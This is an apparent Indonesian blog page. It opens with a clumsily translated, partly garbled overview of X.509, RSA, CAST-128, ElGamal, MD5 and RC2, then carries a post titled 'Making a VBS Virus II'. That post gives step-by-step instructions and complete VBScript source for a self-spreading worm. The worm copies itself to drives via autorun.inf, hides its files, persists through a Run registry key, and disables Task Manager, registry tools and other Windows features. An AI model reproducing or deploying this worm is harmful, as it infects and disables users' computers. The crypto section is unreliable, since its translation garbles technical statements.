X.509 awalnya diterbitkan pada tanggal 3 Juli 1988 dan mulai bekerja sama dengan X.500 standar.. Ini mengasumsikan suatu sistem hirarkis yang ketat dari otoritas sertifikat (CA) untuk menerbitkan sertifikat Hal ini bertentangan dengan kepercayaan web model, seperti PGP , dan setiap orang (tidak hanya khusus CA) dapat mendaftar dan dengan demikian membuktikan keabsahan kunci sertifikat ‘orang lain. Versi 3 dari X.509 termasuk fleksibilitas untuk mendukung topologi lainnya seperti jembatan dan jerat ( RFC 4158 ). Hal ini dapat digunakan dalam peer-to-peer, OpenPGP -seperti web kepercayaan , tetapi jarang digunakan dengan cara yang pada tahun 2004. Sistem X.500 belum sepenuhnya dilaksanakan, dan IETF ‘s-Public Key Infrastructure (X.509), atau PKIX, kelompok kerja telah disesuaikan dengan standar organisasi yang lebih fleksibel dari Internet. Bahkan, istilah sertifikat X.509 biasanya mengacu pada IETF’s PKIX Sertifikat dan CRL Profil standar sertifikat X.509 v3, sebagaimana tercantum dalam RFC 5280 , sering disebut sebagai PKIX untuk Public Key Infrastructure (X.509).

Struktur sertifikat

Struktur dari X.509 v3 sertifikat digital adalah sebagai berikut:

  • Sertifikat
  • Versi
  • Nomor seri
  • Algoritma ID
  • Emiten
  • Keabsahan
  • Tidak Sebelum
  • Tidak Setelah
  • Subyek
  • Info Perihal Kunci Publik
  • Algoritma Kunci Publik
  • Subjek Kunci Publik
  • Emiten Unique Identifier (Opsional)
  • Subject Unique Identifier (Opsional)
  • Ekstensi (Opsional)
  • Algoritma Tandatangan Sertifikat
  • Sertifikat Signature

Penerbit dan pengidentifikasi unik subjek diperkenalkan dalam versi 2, Extensions dalam Versi 3. Namun demikian, jumlah Serial harus unik untuk setiap sertifikat yang diterbitkan oleh CA (sebagaimana disebutkan dalam RFC 2459 ).

3. RSA

Dalam kriptografi , RSA (yang berarti Rivest , Shamir dan Adleman yang pertama kali menggambarkannya umum) adalah algoritma untuk kriptografi kunci-publik [1] . Ini merupakan algoritma pertama yang diketahui cocok untuk menandatangani serta enkripsi, dan merupakan salah satu kemajuan besar pertama dalam kriptografi kunci publik. RSA secara luas digunakan dalam perdagangan elektronik protokol, dan diyakini aman diberikan cukup panjang kunci dan penggunaan mutakhir implementasi up.

Operasi

Algoritma RSA melibatkan tiga langkah:

  • Generasi kunci,
  • Enkripsi
  • Dekripsi.

4. Cast-128

Dalam kriptografi , Cast-128 (alternatif CAST5) adalah cipher blok yang digunakan dalam sejumlah produk, terutama sebagai standar cipher dalam beberapa versi GPG dan PGP. Algoritma ini didirikan pada 1996 oleh Carlisle Adams dan Stafford Tavares dengan menggunakan prosedur desain Cast; anggota lain dari keluarga Cast dari cipher, Cast-256 (mantan AES kandidat) diturunkan dari Cast-128. Menurut beberapa sumber, nama Cast berdasarkan inisial dari penemu nya, meskipun Bruce Schneier penulis laporan klaim bahwa “nama harus menyulap gambar acak” (Schneier, 1996).

Cast-128 adalah 12 – atau 16-bulat Feistel jaringan dengan 64 – bit ukuran blok dan ukuran kunci antara 40-128 bit (tapi hanya di-bit bertahap 8). 16 ronde penuh digunakan ketika ukuran kunci lebih panjang dari 80 bit. Komponen termasuk besar 8 × 32-bit kotak S berdasarkan fungsi membungkuk , tergantung pada rotasi kunci, modular penambahan dan pengurangan, dan XOR operasi. Terdapat tiga jenis fungsi bolak bulat, tetapi mereka adalah sama dalam struktur dan berbeda hanya dalam pilihan operasi yang tepat (penambahan, pengurangan atau XOR) pada berbagai titik. Meskipun Penitipan memegang paten pada prosedur desain Cast, Cast-128 tersedia di seluruh dunia pada dasar bebas royalti untuk dan non-komersial menggunakan komersial.

5. Enkripsi ElGamal

Pada kriptografi , sistem enkripsi ElGamal adalah suatu algoritma enkripsi kunci asimetris untuk kriptografi kunci-publik yang didasarkan pada perjanjian-kunci Diffie Hellman . ElGamal enkripsi yang digunakan dalam bebas GNU Privacy Guard perangkat lunak, versi terbaru PGP , dan lainnya algoritma. The Digital Signature Algorithm adalah varian dari skema tanda tangan ElGamal , yang tidak harus bingung dengan enkripsi ElGamal. Enkripsi ElGamal dapat didefinisikan lebih dari setiap grup siklik G. Its keamanan tergantung pada kesulitan masalah tertentu dalam G berhubungan dengan komputasi logaritma diskrit.

Enkripsi ElGamal terdiri dari tiga komponen:

  • Generator kunci
  • Algoritma enkripsi,
  • Algoritma dekripsi.

6. MD5

Dalam kriptografi , MD5 (Message-Digest algorithm 5) banyak digunakan adalah fungsi hash kriptografi dengan 128 – bit nilai hash. Ditentukan dalam RFC 1321 , MD5 telah digunakan dalam berbagai jenis aplikasi keamanan, dan juga sering digunakan untuk memeriksa integritas file . Namun, telah terbukti bahwa MD5 tidak tabrakan tahan ; seperti itu, MD5 tidak cocok untuk aplikasi seperti SSL sertifikat atau signature digital yang bergantung pada properti ini. Sebuah hash MD5 biasanya dinyatakan sebagai 32-digit heksadesimal nomor.

MD5 adalah salah satu dari serangkaian pesan mencerna algoritma didesain oleh Profesor Ronald Rivest dari MIT (Rivest, 1994). Ketika pekerjaan analitik menunjukkan bahwa pendahulu MD5′s MD4 itu mungkin tidak aman, MD5 dirancang pada tahun 1991 untuk menjadi pengganti aman. (Kelemahan memang kemudian ditemukan di MD4 oleh Hans Dobbertin .)

Keamanan fungsi hash MD5 sangat dikompromikan. Sebuah serangan tabrakan ada yang bisa menemukan tabrakan dalam beberapa detik pada komputer biasa (kompleksitas dari 2 24,1). [14] Lebih jauh, ada juga serangan-awalan tabrakan dipilih yang dapat menghasilkan tabrakan dua dipilih berbeda masukan sewenang-wenang, dalam jam komputer reguler tunggal (kompleksitas 2 39).

Algoritma

Proses MD5 pesan variabel-panjang menjadi output tetap-panjang 128 bit. Pesan masukan dipecah menjadi potongan-bit blok 512 (enam belas 32-bit little endian integer); pesan empuk sehingga panjangnya dibagi oleh 512. padding bekerja sebagai berikut: bit tunggal pertama, 1, adalah ditambahkan ke bagian akhir pesan. Ini diikuti oleh sebanyak nol sebagai diwajibkan membawa panjang pesan sampai dengan 64 bit kurang dari kelipatan 512. Bit-bit sisa diisi dengan sebuah integer 64-bit yang mewakili panjang pesan asli, di bit.

Algoritma MD5 utama beroperasi pada kondisi 128-bit, dibagi menjadi empat-bit kata-kata 32, dilambangkan A, B, C dan D. Ini adalah untuk melakukan konstanta tetap tertentu. Algoritma utama kemudian beroperasi pada masing-masing blok pesan 512-bit pada gilirannya, setiap blok memodifikasi negara. Pengolahan blok pesan terdiri dari empat tahap yang sama, disebut putaran, setiap putaran terdiri dari 16 operasi serupa berdasar pada fungsi linear-non F, tambahan modular , dan rotasi ke kiri. Gambar 1 mengilustrasikan satu operasi dalam putaran. Ada empat kemungkinan fungsi F, berbeda yang digunakan dalam setiap putaran:

RC2/40

Dalam kriptografi , RC2 adalah cipher blok yang dirancang oleh Ron Rivest di 1987 . “RC” singkatan dari “Ron’s Code” atau “Rivest Cipher”; cipher lainnya yang dirancang oleh Rivest termasuk RC4 , RC5 dan RC6 .

Pengembangan RC2 disponsori oleh Lotus , yang sedang mencari kebiasaan sandi yang, setelah evaluasi oleh NSA , dapat diekspor sebagai bagian dari Lotus Notes perangkat lunak. NSA menyarankan beberapa perubahan, yang Rivest dimasukkan. Setelah negosiasi lebih lanjut, cipher telah disetujui untuk ekspor di 1989 . Seiring dengan RC4, RC2 dengan 40-bit ukuran kunci dirawat baik di bawah US peraturan ekspor untuk kriptografi .

Awalnya, rincian algoritma dirahasiakan – eksklusif untuk RSA Security – tetapi pada Januari 29 , 1996 , kode sumber untuk RC2 adalah anonim diposting ke Internet pada Usenet forum, sci.crypt . Sebuah pengungkapan yang sama telah terjadi sebelumnya dengan algoritma RC4. Tidak jelas apakah poster itu memiliki akses dengan spesifikasi atau apakah telah reverse engineered .

RC2 adalah 64-bit blok cipher dengan ukuran variabel kunci . 18 Its putaran diatur sebagai sumber-berat jaringan Feistel , dengan 16 putaran dari satu jenis (pencampuran) diselingi oleh dua putaran jenis lain (dihaluskan). Sebuah putaran pencampuran terdiri dari empat aplikasi transformasi MIX, seperti ditunjukkan pada diagram.


__________________________________________________________________
----Gunakanlah Tutorial Dengan Bijak----



Zeke hack {Trickster}


Jumat, 30 September 2011

Membuat Virus VBS II

Setiap virus memiliki karakter masing - masing, karakter tersebut bisa dibedakan dari cara menyerang maupun ekstensi virus tersebut. Kali ini saya akan membahas virus berekstensi VBS yang menggunakan Windows Script Host. Skript tersebut dapat dibuat dengan aplikasi sederhana, yaitu Notepad. Berikut cara pembuatannya:

1. Buka Notepad

2. Copy dan Paste skript Berikut:

------------------------------Skript------------------------------
on error resume next

dim rekur,windowpath,flashdrive,fs,mf,isi,tf,Hx,nt,check,sd

isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs” set fs = createobject(”Scripting.FileSystemObject”) set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text = mf.openastextstream(1,-2) do while not text.atendofstream rekur = rekur & text.readline rekur = rekur & vbcrlf loop do

Set windowpath = fs.getspecialfolder(0) set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “) tf.attributes = 32 set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true) tf.write rekursif tf.close set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “) tf.attributes = 39

for each flashdrive in fs.drives If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “) tf.attributes =32 set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true) tf.write rekursif tf.close set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “) tf.attributes = 39

set tf =fs.getfile(flashdrive.path &”\autorun.inf”) tf.attributes = 32 set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true) tf.write isi tf.close set tf = fs.getfile(flashdrive.path &”\autorun.inf”) tf.attributes=39 end if next

set Hx = createobject(”WScript.Shell”)

Hx.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” HxHacker “

Hx.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

Hx.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD” Hx.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD” Hx.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD” Hx.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD” Hx.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

Hx.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

Hx.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Hx . your computer now is hacked by zeke hack.”

Hx.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “

Hx.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix” Hx.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Hx ”

if check <> 1 then Wscript.sleep 200000 end if loop while check <> 1 set sd = createobject(”Wscript.shell”) sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname

---------------------------akhir skript---------------------------

3. Save as, ubah save as type menjadi "all files", simpan dengan format ".vbs", misal Hx.vbs.
__________________________________________________________________
----Gunakanlah Tutorial Dengan Bijak----



Zeke hack {Trickster}